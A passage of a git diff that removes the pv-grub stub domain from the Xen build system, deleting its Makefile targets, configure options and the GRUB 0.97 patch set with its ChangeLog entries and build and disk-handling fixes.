-	$(FETCHER) $@ $(GRUB_URL)/$@
-
-grub-upstream: grub-$(GRUB_VERSION).tar.gz
-	tar xzf $<
-	mv grub-$(GRUB_VERSION) $@
-	for i in grub.patches/* ; do \
-		patch -d $@ -p1 < $$i || exit 1; \
-	done
-
-grub/minios.gen.cfg: APP_LIBS = guest ctrl toollog
-grub/minios.gen.cfg: grub/minios.cfg Makefile
-	$(GEN_config) >$@
-
-grub-$(XEN_TARGET_ARCH)-minios-config.mk: grub/minios.gen.cfg
-	MINIOS_CONFIG="$(CURDIR)/$<" CONFIG_FILE="$(CURDIR)/$@" $(MAKE) DESTDIR= -C $(MINI_OS) config
-
-.PHONY: grub
-grub: cross-polarssl grub-upstream $(CROSS_ROOT) grub-$(XEN_TARGET_ARCH)-minios-config.mk
-	mkdir -p grub-$(XEN_TARGET_ARCH)
-	CPPFLAGS="$(TARGET_CPPFLAGS) $(shell cat grub-$(XEN_TARGET_ARCH)-minios-config.mk)" CFLAGS="$(TARGET_CFLAGS)" $(MAKE) DESTDIR= -C $@ OBJ_DIR=$(CURDIR)/grub-$(XEN_TARGET_ARCH)
-
 ##########
 # xenstore
 ##########
@@ -429,17 +403,6 @@ vtpm-stubdom: mini-os-$(XEN_TARGET_ARCH)-vtpm vtpm
 vtpmmgr-stubdom: mini-os-$(XEN_TARGET_ARCH)-vtpmmgr vtpmmgr
 	DEF_CPPFLAGS="$(TARGET_CPPFLAGS)" DEF_CFLAGS="$(TARGET_CFLAGS)" DEF_LDFLAGS="$(TARGET_LDFLAGS)" MINIOS_CONFIG="$(CURDIR)/vtpmmgr/minios.cfg" $(MAKE) -C $(MINI_OS) OBJ_DIR=$(CURDIR)/$< APP_OBJS="$(CURDIR)/vtpmmgr/vtpmmgr.a" APP_LDLIBS="-lm -lpolarssl"
 
-.PHONY: pv-grub
-pv-grub: mini-os-$(XEN_TARGET_ARCH)-grub libxenguest grub
-	DEF_CPPFLAGS="$(TARGET_CPPFLAGS)" DEF_CFLAGS="$(TARGET_CFLAGS)" DEF_LDFLAGS="$(TARGET_LDFLAGS)" MINIOS_CONFIG="$(CURDIR)/grub/minios.gen.cfg" $(MAKE) DESTDIR= -C $(MINI_OS) OBJ_DIR=$(CURDIR)/$< APP_OBJS=$(CURDIR)/grub-$(XEN_TARGET_ARCH)/main.a
-
-.PHONY: pv-grub-if-enabled
-ifneq ($(filter grub,$(STUBDOM_TARGETS)),)
-pv-grub-if-enabled: pv-grub
-else
-pv-grub-if-enabled:
-endif
-
 XENSTORE_DEPS := libxenevtchn libxengnttab libxenmanage
 
 .PHONY: xenstore-stubdom
@@ -460,16 +423,6 @@ else
 install:
 endif
 
-install-grub: pv-grub
-	$(INSTALL_DIR) "$(DESTDIR)$(XENFIRMWAREDIR)"
-	$(INSTALL_DATA) mini-os-$(XEN_TARGET_ARCH)-grub/mini-os.gz "$(DESTDIR)$(XENFIRMWAREDIR)/pv-grub-$(XEN_TARGET_ARCH).gz"
-
-ifneq ($(filter grub,$(STUBDOM_TARGETS)),)
-install-grub-if-enabled: install-grub
-else
-install-grub-if-enabled:
-endif
-
 install-xenstore: xenstore-stubdom
 	$(INSTALL_DIR) "$(DESTDIR)$(XENFIRMWAREDIR)"
 	$(INSTALL_DATA) mini-os-$(XEN_TARGET_ARCH)-xenstore/mini-os.gz "$(DESTDIR)$(XENFIRMWAREDIR)/xenstore-stubdom.gz"
@@ -500,9 +453,6 @@ else
 uninstall:
 endif
 
-uninstall-grub:
-	rm -f $(DESTDIR)$(XENFIRMWAREDIR)/pv-grub-$(XEN_TARGET_ARCH).gz
-
 uninstall-xenstore:
 	rm -f $(DESTDIR)$(XENFIRMWAREDIR)/xenstore-stubdom.gz
 
@@ -523,14 +473,12 @@ uninstall-vtpmmgr:
 .PHONY: clean
 clean: $(foreach lib,$(STUB_LIBS),clean-libxen$(lib))
 clean:
-	rm -fr mini-os-$(XEN_TARGET_ARCH)-grub
 	rm -fr mini-os-$(XEN_TARGET_ARCH)-xenstore
 	rm -fr mini-os-$(XEN_TARGET_ARCH)-xenstorepvh
 	rm -fr mini-os-$(XEN_TARGET_ARCH)-vtpm
 	rm -fr mini-os-$(XEN_TARGET_ARCH)-vtpmmgr
 	$(MAKE) -C vtpm clean
 	$(MAKE) -C vtpmmgr clean
-	rm -fr grub-$(XEN_TARGET_ARCH)
 	rm -f *-minios-config.mk
 	rm -f *.gen.cfg
 	rm -fr pkg-config
@@ -559,7 +507,6 @@ patchclean: crossclean
 	rm -fr polarssl-$(XEN_TARGET_ARCH)
 	rm -fr tpm_emulator-$(XEN_TARGET_ARCH)
 	rm -fr lwip-$(XEN_TARGET_ARCH)
-	rm -fr grub-upstream
 
 # clean downloads
 .PHONY: downloadclean
@@ -569,7 +516,6 @@ downloadclean: patchclean
 	rm -f gmp-$(GMP_VERSION).tar.bz2
 	rm -f tpm_emulator-$(TPMEMU_VERSION).tar.gz
 	rm -f pciutils-$(LIBPCI_VERSION).tar.bz2
-	rm -f grub-$(GRUB_VERSION).tar.gz
 	rm -f lwip-$(LWIP_VERSION).tar.gz
 	rm -f polarssl-$(POLARSSL_VERSION)-gpl.tgz
 
diff --git a/stubdom/configure b/stubdom/configure
index 8a0a798bd2..689ff4d6ed 100755
--- a/stubdom/configure
+++ b/stubdom/configure
@@ -630,8 +630,6 @@ POLARSSL_VERSION
 POLARSSL_URL
 GMP_VERSION
 GMP_URL
-GRUB_VERSION
-GRUB_URL
 LWIP_VERSION
 LWIP_URL
 NEWLIB_VERSION
@@ -660,7 +658,6 @@ extfiles
 debug
 xenstorepvh
 xenstore
-grub
 host_os
 host_vendor
 host_cpu
@@ -711,7 +708,6 @@ SHELL'
 ac_subst_files=''
 ac_user_opts='
 enable_option_checking
-enable_pv_grub
 enable_xenstore_stubdom
 enable_xenstorepvh_stubdom
 enable_vtpm_stubdom
@@ -732,7 +728,6 @@ ZLIB_URL
 LIBPCI_URL
 NEWLIB_URL
 LWIP_URL
-GRUB_URL
 GMP_URL
 POLARSSL_URL
 TPMEMU_URL'
@@ -1358,7 +1353,6 @@ Optional Features:
   --disable-option-checking  ignore unrecognized --enable/--with options
   --disable-FEATURE       do not include FEATURE (same as --enable-FEATURE=no)
   --enable-FEATURE[=ARG]  include FEATURE [ARG=yes]
-  --enable-pv-grub        Build and install pv-grub (default is DISABLED)
   --disable-xenstore-stubdom
                           Build and install xenstore-stubdom (default is
                           ENABLED)
@@ -1385,7 +1379,6 @@ Some influential environment variables:
   LIBPCI_URL  Download url for libpci
   NEWLIB_URL  Download url for newlib
   LWIP_URL    Download url for lwip
-  GRUB_URL    Download url for grub
   GMP_URL     Download url for libgmp
   POLARSSL_URL
               Download url for polarssl
@@ -2403,47 +2396,6 @@ case $host_os in *\ *) host_os=`echo "$host_os" | sed 's/ /-/g'`;; esac
 
 # Enable/disable stub domains
 
-# Check whether --enable-pv-grub was given.
-if test ${enable_pv_grub+y}
-then :
-  enableval=$enable_pv_grub;
-
-if test "x$enableval" = "xyes"
-then :
-
-
-grub=y
-STUBDOM_TARGETS="$STUBDOM_TARGETS grub"
-STUBDOM_BUILD="$STUBDOM_BUILD pv-grub"
-STUBDOM_INSTALL="$STUBDOM_INSTALL install-grub"
-STUBDOM_UNINSTALL="$STUBDOM_UNINSTALL install-grub"
-
-
-else $as_nop
-
-if test "x$enableval" = "xno"
-then :
-
-
-grub=n
-
-
-fi
-
-fi
-
-
-else $as_nop
-
-
-grub=n
-
-
-fi
-
-
-
-
 # Check whether --enable-xenstore-stubdom was given.
 if test ${enable_xenstore_stubdom+y}
 then :
@@ -4137,23 +4089,6 @@ LWIP_VERSION="1.3.0"
 
 
 
-if test "x$GRUB_URL" = "x"
-then :
-
-	if test "x$extfiles" = "xy"
-then :
-  GRUB_URL=\$\(XEN_EXTFILES_URL\)
-else $as_nop
-  GRUB_URL="https://alpha.gnu.org/gnu/grub"
-fi
-
-fi
-GRUB_VERSION="0.97"
-
-
-
-
-
 if test "x$GMP_URL" = "x"
 then :
 
diff --git a/stubdom/configure.ac b/stubdom/configure.ac
index 33f170144e..6ff3ab0ee9 100644
--- a/stubdom/configure.ac
+++ b/stubdom/configure.ac
@@ -18,7 +18,6 @@ m4_include([../m4/depends.m4])
 m4_include([../m4/fetcher.m4])
 
 # Enable/disable stub domains
-AX_STUBDOM_DEFAULT_DISABLE([pv-grub], [grub])
 AX_STUBDOM_DEFAULT_ENABLE([xenstore-stubdom], [xenstore])
 AX_STUBDOM_DEFAULT_ENABLE([xenstorepvh-stubdom], [xenstorepvh])
 AX_STUBDOM_CONDITIONAL([vtpm-stubdom], [vtpm])
@@ -43,7 +42,6 @@ AX_STUBDOM_LIB([ZLIB], [zlib], [1.2.3])
 AX_STUBDOM_LIB([LIBPCI], [libpci], [2.2.9], [https://mirrors.edge.kernel.org/pub/software/utils/pciutils])
 AX_STUBDOM_LIB([NEWLIB], [newlib], [1.16.0], [https://sourceware.org/ftp/newlib])
 AX_STUBDOM_LIB([LWIP], [lwip], [1.3.0], [https://download.savannah.gnu.org/releases/lwip])
-AX_STUBDOM_LIB([GRUB], [grub], [0.97], [https://alpha.gnu.org/gnu/grub])
 AX_STUBDOM_LIB([GMP], [libgmp], [4.3.2], [https://gmplib.org/download/gmp/archive])
 AX_STUBDOM_LIB([POLARSSL], [polarssl], [1.1.4])
 AX_STUBDOM_LIB([TPMEMU], [berlios tpm emulator], [0.7.4])
diff --git a/stubdom/grub.patches/00cvs b/stubdom/grub.patches/00cvs
deleted file mode 100644
index 47d66f3a3b..0000000000
--- a/stubdom/grub.patches/00cvs
+++ /dev/null
@@ -1,1022 +0,0 @@
-diff -uprN grub-0.97/acinclude.m4 grub/acinclude.m4
---- grub-0.97/acinclude.m4	2004-04-27 21:48:06.000000000 +0100
-+++ grub/acinclude.m4	2007-11-05 01:29:46.000000000 +0000
-@@ -57,7 +57,7 @@ else
- fi
- grub_cv_prog_objcopy_absolute=yes
- for link_addr in 2000 8000 7C00; do
--  if AC_TRY_COMMAND([${CC-cc} ${CFLAGS} -nostdlib -Wl,-N -Wl,-Ttext -Wl,$link_addr conftest.o -o conftest.exec]); then :
-+  if AC_TRY_COMMAND([${CC-cc} ${CFLAGS} ${LDFLAGS} -nostdlib -Wl,-N -Wl,-Ttext -Wl,$link_addr conftest.o -o conftest.exec]); then :
-   else
-     AC_MSG_ERROR([${CC-cc} cannot link at address $link_addr])
-   fi
-diff -uprN grub-0.97/ChangeLog grub/ChangeLog
---- grub-0.97/ChangeLog	2005-05-08 03:47:02.000000000 +0100
-+++ grub/ChangeLog	2008-05-20 12:04:18.000000000 +0100
-@@ -1,3 +1,127 @@
-+2008-05-20  Robert Millan  <rmh@aybabtu.com>
-+
-+	* netboot/cs89x0.c: Fix license violation.
-+	* netboot/cs89x0.h: Likewise.
-+
-+2008-04-10  Pavel Roskin  <proski@gnu.org>
-+
-+	* configure.ac: Always use "_cv_" in cache variables for
-+	compatibility with Autoconf 2.62.
-+
-+2008-03-28  Robert Millan  <rmh@aybabtu.com>
-+
-+	Surpass 1 TiB disk addressing limit.  Note: there are no plans to handle
-+	the 2 TiB disk limit in GRUB Legacy, since that would need considerable
-+	rework.  If you have >2TiB disks, use GRUB 2 instead.
-+
-+	* grub/asmstub.c (biosdisk): Add unsigned qualifier to `sector'.
-+	* stage2/bios.c (biosdisk): Likewise.
-+	* stage2/disk_io.c (rawread, devread, rawwrite, devwrite): Likewise.
-+	* stage2/shared.h (rawread, devread, rawwrite, devwrite): Likewise.
-+	* lib/device.c (get_drive_geometry): Replace BLKGETSIZE with
-+	BLKGETSIZE64.
-+
-+2007-10-29  Pavel Roskin  <proski@gnu.org>
-+
-+	* configure.ac: Test if '--build-id=none' is supported by the
-+	linker and add it to LDFLAGS if possible.  Build ID causes
-+	objcopy to generate huge binary files.
-+	* aclocal.m4 (grub_PROG_OBJCOPY_ABSOLUTE): Use LDFLAGS when
-+	linking, so that build ID doesn't break the test.
-+	* stage1/Makefile.am: Preserve LDFLAGS, use stage1_exec_LDFLAGS.
-+
-+2007-02-22  Pavel Roskin  <proski@gnu.org>
-+
-+	* stage2/iso9660.h: Remove unnecessary packed attributes.
-+
-+2007-02-22  Robert Millan  <rmh@aybabtu.com>
-+
-+	* util/mkbimage: Update my email address, and remove my name from
-+	some places where unnecessary credit is given.
-+
-+2006-09-10  Pavel Roskin  <proski@gnu.org>
-+
-+	* netboot/natsemi.c: Fix compile error with gcc 4.1.1.  Cast
-+	cannot make a variable volatile - it should be declared as such.
-+	* netboot/sis900.c: Likewise.
-+
-+2006-09-08  Pavel Roskin  <proski@gnu.org>
-+
-+	* netboot/etherboot.h: Remove incorrect extern declarations of
-+	the variables later declared static.  Move BOOTP_DATA_ADDR ...
-+	* netboot/main.c: ... here.  Eliminate end_of_rfc1533 - it's
-+	write-only.
-+
-+2006-06-24  Yoshinori K. Okuji  <okuji@enbug.org>
-+
-+	* docs/grub.texi: Changed the license term to the GNU Free
-+	Documentation License 1.2.
-+
-+	* docs/multiboot.texi: Reformatted to show the license term
-+	and the version number explicitly.
-+	
-+	* docs/fdl.texi: New file.
-+	
-+	* docs/Makefile.am (grub_TEXINFOS): Added fdl.texi.
-+
-+2006-06-24  Robert Millan  <robertmh@gnu.org>
-+
-+	* lib/device.c (write_to_partition): /dev/ataraid/ and /dev/rd/
-+	partitions have a "p" prefix.  Add it.
-+
-+2006-06-24  Robert Millan  <robertmh@gnu.org>
-+
-+	* lib/device.c (get_i2o_disk_name): New function.
-+	(init_device_map) [__linux__]: Add support for I2O devices.
-+
-+2006-05-02  Pavel Roskin  <proski@gnu.org>
-+
-+	* stage2/stage2.c (run_menu): Fix "savedefault" to save only top
-+	level menu positions.  Remember current position when calling a
-+	submenu.  Don't recalculate it when booting from a submenu.
-+
-+	* grub/main.c (main): Make sure the boot drive number doesn't
-+	exceed 255.
-+
-+2006-05-02  Vesa Jaaskelainen  <chaac@nic.fi>
-+
-+	* stage2/shared.h (vbe_mode): Back ported aligment fix from GRUB 2
-+	to GRUB Legacy.  Problem reported by Gerardo Richarte.
-+
-+2006-04-23  Robert Millan  <robertmh@gnu.org>
-+
-+	* grub/asmstub.c (get_diskinfo): Optimize sysctl routine.
-+
-+2006-04-20  Robert Millan  <robertmh@gnu.org>
-+
-+	Fixes for kernel of FreeBSD:
-+	* grub/asmstub.c (get_diskinfo): Toggle "kern.geom.debugflags" sysctl
-+	before opening a device for writing.
-+	* util/grub-install.in: Devices don't have this "r" prefix anymore.
-+
-+2006-04-16  Yoshinori K. Okuji  <okuji@enbug.org>
-+
-+	* docs/multiboot.texi: Correct the offset of address
-+	fields. Reported by Jeroen Dekkers.
-+
-+2006-03-21  Yoshinori K. Okuji  <okuji@enbug.org>
-+
-+	* stage2/builtins.c (setup_func): Specify the size of DEVICE to
-+	grub_strncat instead of a strange number 256. Reported by Vitaly
-+	Fertman <vitaly@namesys.com>.
-+
-+2005-09-29  Yoshinori K. Okuji  <okuji@enbug.org>
-+
-+	* docs/multiboot.texi: Fix a bug in the byte order of
-+	boot_device. I hope this won't affect any OS image.
-+	Increased the version number to 0.6.94.
-+
-+2005-09-28  Yoshinori K. Okuji  <okuji@enbug.org>
-+
-+	* stage2/boot.c (load_image): Even if an OS image is an ELF
-+	object, use the a.out kludge if MULTIBOOT_AOUT_KLUDGE is
-+	specified.
-+
- 2005-05-08  Yoshinori K. Okuji  <okuji@enbug.org>
- 
- 	* configure.ac (AC_INIT): Upgraded to 0.97.
-diff -uprN grub-0.97/configure grub/configure
---- grub-0.97/configure	2005-05-08 03:48:12.000000000 +0100
-+++ grub/configure	2007-11-05 01:29:46.000000000 +0000
-@@ -3694,6 +3694,64 @@ if test "x$undef_flag" = xyes; then
-   CPPFLAGS="$CPPFLAGS -Wundef"
- fi
- 
-+# Check if build ID can be disabled in the linker
-+echo "$as_me:$LINENO: checking whether linker accepts \`--build-id=none'" >&5
-+echo $ECHO_N "checking whether linker accepts \`--build-id=none'... $ECHO_C" >&6
-+save_LDFLAGS="$LDFLAGS"
-+LDFLAGS="$LDFLAGS -Wl,--build-id=none"
-+cat >conftest.$ac_ext <<_ACEOF
-+/* confdefs.h.  */
-+_ACEOF
-+cat confdefs.h >>conftest.$ac_ext
-+cat >>conftest.$ac_ext <<_ACEOF
-+/* end confdefs.h.  */
-+
-+int
-+main ()
-+{
-+
-+  ;
-+  return 0;
-+}
-+_ACEOF
-+rm -f conftest.$ac_objext conftest$ac_exeext
-+if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5
-+  (eval $ac_link) 2>conftest.er1
-+  ac_status=$?
-+  grep -v '^ *+' conftest.er1 >conftest.err
-+  rm -f conftest.er1
-+  cat conftest.err >&5
-+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
-+  (exit $ac_status); } &&
-+	 { ac_try='test -z "$ac_c_werror_flag"
-+			 || test ! -s conftest.err'
-+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
-+  (eval $ac_try) 2>&5
-+  ac_status=$?
-+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
-+  (exit $ac_status); }; } &&
-+	 { ac_try='test -s conftest$ac_exeext'
-+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
-+  (eval $ac_try) 2>&5
-+  ac_status=$?
-+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
-+  (exit $ac_status); }; }; then
-+  build_id_flag=yes
-+else
-+  echo "$as_me: failed program was:" >&5
-+sed 's/^/| /' conftest.$ac_ext >&5
-+
-+build_id_flag=no
-+fi
-+rm -f conftest.err conftest.$ac_objext \
-+      conftest$ac_exeext conftest.$ac_ext
-+echo "$as_me:$LINENO: result: $build_id_flag" >&5
-+echo "${ECHO_T}$build_id_flag" >&6
-+LDFLAGS="$save_LDFLAGS"
-+if test "x$build_id_flag" = xyes; then
-+  LDFLAGS="$LDFLAGS -Wl,--build-id=none"
-+fi
-+
- if test "x$with_binutils" != x; then
-   # Extract the first word of "objcopy", so it can be a program name with args.
- set dummy objcopy; ac_word=$2
-@@ -3892,7 +3950,7 @@ echo "$as_me: error: ${CC-cc} cannot com
- fi
- grub_cv_prog_objcopy_absolute=yes
- for link_addr in 2000 8000 7C00; do
--  if { ac_try='${CC-cc} ${CFLAGS} -nostdlib -Wl,-N -Wl,-Ttext -Wl,$link_addr conftest.o -o conftest.exec'
-+  if { ac_try='${CC-cc} ${CFLAGS} ${LDFLAGS} -nostdlib -Wl,-N -Wl,-Ttext -Wl,$link_addr conftest.o -o conftest.exec'
-   { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
-   (eval $ac_try) 2>&5
-   ac_status=$?
-diff -uprN grub-0.97/configure.ac grub/configure.ac
---- grub-0.97/configure.ac	2005-05-08 03:36:03.000000000 +0100
-+++ grub/configure.ac	2008-04-10 23:26:50.000000000 +0100
-@@ -86,13 +86,13 @@ if test "x$ac_cv_prog_gcc" = xyes; then
-     fi
-     STAGE1_CFLAGS="-O2"
-     GRUB_CFLAGS="-O2"
--    AC_CACHE_CHECK([whether optimization for size works], size_flag, [
-+    AC_CACHE_CHECK([whether optimization for size works], grub_cv_cc_Os, [
-       saved_CFLAGS=$CFLAGS
-       CFLAGS="-Os -g"
--      AC_TRY_COMPILE(, , size_flag=yes, size_flag=no)
-+      AC_TRY_COMPILE(, , grub_cv_cc_Os=yes, grub_cv_cc_Os=no)
-       CFLAGS=$saved_CFLAGS
-     ])
--    if test "x$size_flag" = xyes; then
-+    if test "x$grub_cv_cc_Os" = xyes; then
-       STAGE2_CFLAGS="-Os"
-     else
-       STAGE2_CFLAGS="-O2 -fno-strength-reduce -fno-unroll-loops"
-@@ -100,16 +100,16 @@ if test "x$ac_cv_prog_gcc" = xyes; then
-     # OpenBSD has a GCC extension for protecting applications from
-     # stack smashing attacks, but GRUB doesn't want this feature.
-     AC_CACHE_CHECK([whether gcc has -fno-stack-protector],
--		   no_stack_protector_flag, [
-+		   grub_cv_cc_no_stack_protector, [
-       saved_CFLAGS=$CFLAGS
-       CFLAGS="-fno-stack-protector"
-       AC_TRY_COMPILE(,
- 		     ,
--		     no_stack_protector_flag=yes,
--		     no_stack_protector_flag=no)
-+		     grub_cv_cc_no_stack_protector=yes,
-+		     grub_cv_cc_no_stack_protector=no)
-       CFLAGS=$saved_CFLAGS
-     ])
--    if test "x$no_stack_protector_flag" = xyes; then
-+    if test "x$grub_cv_cc_no_stack_protector" = xyes; then
-       STAGE2_CFLAGS="$STAGE2_CFLAGS -fno-stack-protector"
-     fi
-   fi
-@@ -123,33 +123,44 @@ AC_SUBST(GRUB_CFLAGS)
- CPPFLAGS="$CPPFLAGS -Wall -Wmissing-prototypes -Wunused -Wshadow"
- CPPFLAGS="$CPPFLAGS -Wpointer-arith"
- 
--AC_CACHE_CHECK([whether -Wundef works], undef_flag, [
-+AC_CACHE_CHECK([whether -Wundef works], grub_cv_cc_Wundef, [
-   saved_CPPFLAGS="$CPPFLAGS"
-   CPPFLAGS="-Wundef"
--  AC_TRY_COMPILE(, , undef_flag=yes, undef_flag=no)
-+  AC_TRY_COMPILE(, , grub_cv_cc_Wundef=yes, grub_cv_cc_Wundef=no)
-   CPPFLAGS="$saved_CPPFLAGS"
- ])
- 
- # The options `-falign-*' are supported by gcc 3.0 or later.
- # Probably it is sufficient to only check for -falign-loops.
--AC_CACHE_CHECK([whether -falign-loops works], [falign_loop_flag], [
-+AC_CACHE_CHECK([whether -falign-loops works], [grub_cv_cc_falign_loop], [
-   saved_CPPFLAGS="$CPPFLAGS"
-   CPPFLAGS="-falign-loops=1"
--  AC_TRY_COMPILE(, , [falign_loop_flag=yes], [falign_loop_flag=no])
-+  AC_TRY_COMPILE(, , [grub_cv_cc_falign_loop=yes], [grub_cv_cc_falign_loop=no])
-   CPPFLAGS="$saved_CPPFLAGS"
- ])
- 
- # Force no alignment to save space.
--if test "x$falign_loop_flag" = xyes; then
-+if test "x$grub_cv_cc_falign_loop" = xyes; then
-   CPPFLAGS="$CPPFLAGS -falign-jumps=1 -falign-loops=1 -falign-functions=1"
- else
-   CPPFLAGS="$CPPFLAGS -malign-jumps=1 -malign-loops=1 -malign-functions=1"
- fi
- 
--if test "x$undef_flag" = xyes; then
-+if test "x$grub_cv_cc_Wundef" = xyes; then
-   CPPFLAGS="$CPPFLAGS -Wundef"
- fi
- 
-+# Check if build ID can be disabled in the linker
-+AC_MSG_CHECKING([whether linker accepts `--build-id=none'])
-+save_LDFLAGS="$LDFLAGS"
-+LDFLAGS="$LDFLAGS -Wl,--build-id=none"
-+AC_TRY_LINK(, , build_id_flag=yes, build_id_flag=no)
-+AC_MSG_RESULT([$build_id_flag])
-+LDFLAGS="$save_LDFLAGS"
-+if test "x$build_id_flag" = xyes; then
-+  LDFLAGS="$LDFLAGS -Wl,--build-id=none"
-+fi
-+
- if test "x$with_binutils" != x; then
- dnl  AC_PATH_TOOL(OBJCOPY, objcopy, , "$with_binutils:$PATH")
-   AC_PATH_PROG(OBJCOPY, objcopy, , "$with_binutils:$PATH")
-diff -uprN grub-0.97/grub/asmstub.c grub/grub/asmstub.c
---- grub-0.97/grub/asmstub.c	2005-02-16 20:45:14.000000000 +0000
-+++ grub/grub/asmstub.c	2008-03-28 13:22:28.000000000 +0000
-@@ -55,6 +55,10 @@ int grub_stage2 (void);
- # endif /* ! BLKFLSBUF */
- #endif /* __linux__ */
- 
-+#if defined(__FreeBSD_kernel__) || defined(__FreeBSD__)
-+# include <sys/sysctl.h>
-+#endif
-+
- /* We want to prevent any circularararity in our stubs, as well as
-    libc name clashes. */
- #define WITHOUT_LIBC_STUBS 1
-@@ -777,7 +781,39 @@ get_diskinfo (int drive, struct geometry
- 
-       /* Open read/write, or read-only if that failed. */
-       if (! read_only)
--	disks[drive].flags = open (devname, O_RDWR);
-+	{
-+/* By default, kernel of FreeBSD does not allow overwriting MBR */
-+#if defined(__FreeBSD_kernel__) || defined(__FreeBSD__)
-+#define GEOM_SYSCTL	"kern.geom.debugflags"
-+	  int old_flags, flags;
-+	  size_t sizeof_int = sizeof (int);
-+
-+	  if (sysctlbyname (GEOM_SYSCTL, &old_flags, &sizeof_int, NULL, 0) != 0)
-+	    grub_printf ("failed to get " GEOM_SYSCTL "sysctl: %s\n", strerror (errno));
-+
-+	  if ((old_flags & 0x10) == 0)
-+	    {
-+	      /* "allow foot shooting", see geom(4) */
-+	      flags = old_flags | 0x10;
-+
-+	      if (sysctlbyname (GEOM_SYSCTL, NULL, NULL, &flags, sizeof (int)) != 0)
-+		{
-+		  flags = old_flags;
-+		  grub_printf ("failed to set " GEOM_SYSCTL "sysctl: %s\n", strerror (errno));
-+		}
-+	    }
-+	  else
-+	    flags = old_flags;
-+#endif
-+	  disks[drive].flags = open (devname, O_RDWR);
-+#if defined(__FreeBSD_kernel__) || defined(__FreeBSD__)
-+	  if (flags != old_flags)
-+	    {
-+	      if (sysctlbyname (GEOM_SYSCTL, NULL, NULL, &old_flags, sizeof (int)) != 0)
-+	        grub_printf ("failed to set " GEOM_SYSCTL "sysctl: %s\n", strerror (errno));
-+	    }
-+#endif
-+	}
- 
-       if (disks[drive].flags == -1)
- 	{
-@@ -926,7 +962,7 @@ hex_dump (void *buf, size_t size)
- 
- int
- biosdisk (int subfunc, int drive, struct geometry *geometry,
--	  int sector, int nsec, int segment)
-+	  unsigned int sector, int nsec, int segment)
- {
-   char *buf;
-   int fd = geometry->flags;
-diff -uprN grub-0.97/grub/main.c grub/grub/main.c
---- grub-0.97/grub/main.c	2003-07-09 12:45:36.000000000 +0100
-+++ grub/grub/main.c	2006-05-05 22:43:46.000000000 +0100
-@@ -32,6 +32,7 @@ int grub_stage2 (void);
- #define WITHOUT_LIBC_STUBS 1
- #include <shared.h>
- #include <term.h>
-+#include <device.h>
- 
- char *program_name = 0;
- int use_config_file = 1;
-@@ -192,6 +193,12 @@ main (int argc, char **argv)
- 	      perror ("strtoul");
- 	      exit (1);
- 	    }
-+	  if (boot_drive >= NUM_DISKS)
-+	    {
-+	      fprintf (stderr, "boot_drive should be from 0 to %d\n",
-+		       NUM_DISKS - 1);
-+	      exit (1);
-+	    }
- 	  break;
- 
- 	case OPT_NO_CONFIG_FILE:
-diff -uprN grub-0.97/lib/device.c grub/lib/device.c
---- grub-0.97/lib/device.c	2005-03-28 00:14:25.000000000 +0100
-+++ grub/lib/device.c	2008-03-28 13:22:28.000000000 +0000
-@@ -69,9 +69,9 @@ struct hd_geometry
- # ifndef CDROM_GET_CAPABILITY
- #  define CDROM_GET_CAPABILITY	0x5331	/* get capabilities */
- # endif /* ! CDROM_GET_CAPABILITY */
--# ifndef BLKGETSIZE
--#  define BLKGETSIZE	_IO(0x12,96)	/* return device size */
--# endif /* ! BLKGETSIZE */
-+# ifndef BLKGETSIZE64
-+#  define BLKGETSIZE64	_IOR(0x12,114,size_t)	/* return device size */
-+# endif /* ! BLKGETSIZE64 */
- #endif /* __linux__ */
- 
- /* Use __FreeBSD_kernel__ instead of __FreeBSD__ for compatibility with
-@@ -152,19 +152,19 @@ get_drive_geometry (struct geometry *geo
-   /* Linux */
-   {
-     struct hd_geometry hdg;
--    unsigned long nr;
-+    unsigned long long nr;
-     
-     if (ioctl (fd, HDIO_GETGEO, &hdg))
-       goto fail;
- 
--    if (ioctl (fd, BLKGETSIZE, &nr))
-+    if (ioctl (fd, BLKGETSIZE64, &nr))
-       goto fail;
-     
-     /* Got the geometry, so save it. */
-     geom->cylinders = hdg.cylinders;
-     geom->heads = hdg.heads;
-     geom->sectors = hdg.sectors;
--    geom->total_sectors = nr;
-+    geom->total_sectors = nr / 512;
-     
-     goto success;
-   }
-@@ -407,6 +407,12 @@ get_ataraid_disk_name (char *name, int u
- {
-   sprintf (name, "/dev/ataraid/d%c", unit + '0');
- }
-+
-+static void
-+get_i2o_disk_name (char *name, char unit)
-+{
-+  sprintf (name, "/dev/i2o/hd%c", unit);
-+}
- #endif
- 
- /* Check if DEVICE can be read. If an error occurs, return zero,
-@@ -801,6 +807,29 @@ init_device_map (char ***map, const char
- 	  }
-       }
-   }
-+    
-+  /* This is for I2O - we have /dev/i2o/hd<logical drive><partition> */
-+  {
-+    int unit;
-+
-+    for (unit = 'a'; unit < 'f'; unit++)
-+      {
-+        char name[24];
-+    
-+        get_i2o_disk_name (name, unit);
-+        if (check_device (name))
-+          {
-+              (*map)[num_hd + 0x80] = strdup (name);
-+                  assert ((*map)[num_hd + 0x80]);
-+                  
-+	    /* If the device map file is opened, write the map.  */
-+               if (fp)
-+                     fprintf (fp, "(hd%d)\t%s\n", num_hd, name);
-+                     
-+	    num_hd++;
-+          }
-+      }
-+  }
- #endif /* __linux__ */
-   
-   /* OK, close the device map file if opened.  */
-@@ -861,6 +890,12 @@ write_to_partition (char **map, int driv
-       if (strcmp (dev + strlen(dev) - 5, "/disc") == 0)
- 	strcpy (dev + strlen(dev) - 5, "/part");
-     }
-+  else
-+    {
-+      if ((strncmp (dev, "/dev/ataraid/", 13) == 0) ||
-+         (strncmp (dev, "/dev/rd/", 8) == 0))
-+        strcpy (dev + strlen(dev), "p");
-+    }
-   sprintf (dev + strlen(dev), "%d", ((partition >> 16) & 0xFF) + 1);
-   
-   /* Open the partition.  */
-diff -uprN grub-0.97/netboot/3c509.c grub/netboot/3c509.c
---- grub-0.97/netboot/3c509.c	2003-07-09 12:45:37.000000000 +0100
-+++ grub/netboot/3c509.c	2002-01-02 21:56:40.000000000 +0000
-@@ -18,7 +18,7 @@ Author: Martin Renters.
- 
- 3c509 support added by Serge Babkin (babkin@hq.icb.chel.su)
- 
--$Id: 3c509.c,v 1.4 2002/01/02 21:56:40 okuji Exp $
-+$Id: 3c509.c 609 2002-01-02 21:56:40Z okuji $
- 
- ***************************************************************************/
- 
